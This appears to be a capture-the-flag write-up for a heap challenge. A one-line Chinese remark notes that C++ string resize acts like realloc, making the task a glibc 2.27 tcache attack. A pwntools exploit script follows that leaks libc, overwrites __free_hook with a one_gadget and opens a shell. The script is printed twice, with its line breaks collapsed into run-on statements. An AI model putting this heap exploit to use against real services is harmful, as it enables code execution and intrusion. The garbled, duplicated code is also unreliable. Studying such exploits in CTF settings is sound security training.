1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| C++ STLstring类的resize很类似realloc,可以实现free功能。知道这个,就是一个很裸的2.27版本的tcache attack了
def z(): gdb.attach(r)
def cho(num): r.sendlineafter("Your choice:",str(num))
def add(size,con): cho(1) r.sendlineafter("size:",str(size)) r.sendafter("content:",con)
def change(idx,size,con): cho(2) r.sendlineafter("idx",str(idx)) r.sendlineafter("size",str(size)) r.sendafter("con",con)
def show(idx): cho(3) r.sendlineafter("idx",str(idx))
def exp(): global r global libc r=remote("127.0.0.1",9999) libc=ELF('libc-2.27.so') for i in range(0,8): add(0x80,"nameless") for i in range(1,8): change(i,0x90,'\xe0') show(7) r.recvuntil('Now you see it:') libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x3ebce0 log.success("libcbase:"+hex(libcbase))
free_hook=libcbase+libc.sym['__free_hook'] system=libcbase+libc.sym['system'] add(0x20,'cat flag') change(8,0x30,p64(free_hook)) one=[0x4f3d5,0x4f432,0x10a41c] ogg=libcbase+one[1] add(0x20,p64(ogg)) r.interactive() if __name__ == '__main__': exp() def z(): gdb.attach(r)
def cho(num): r.sendlineafter("Your choice:",str(num))
def add(size,con): cho(1) r.sendlineafter("size:",str(size)) r.sendafter("content:",con)
def change(idx,size,con): cho(2) r.sendlineafter("idx",str(idx)) r.sendlineafter("size",str(size)) r.sendafter("con",con)
def show(idx): cho(3) r.sendlineafter("idx",str(idx))
def exp(): global r global libc r=remote("127.0.0.1",9999) libc=ELF('libc-2.27.so') for i in range(0,8): add(0x80,"nameless") for i in range(1,8): change(i,0x90,'\xe0') show(7) r.recvuntil('Now you see it:') libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x3ebce0 log.success("libcbase:"+hex(libcbase))
free_hook=libcbase+libc.sym['__free_hook'] system=libcbase+libc.sym['system'] add(0x20,'cat flag') change(8,0x30,p64(free_hook)) one=[0x4f3d5,0x4f432,0x10a41c] ogg=libcbase+one[1] add(0x20,p64(ogg)) r.interactive() if __name__ == '__main__': exp()
|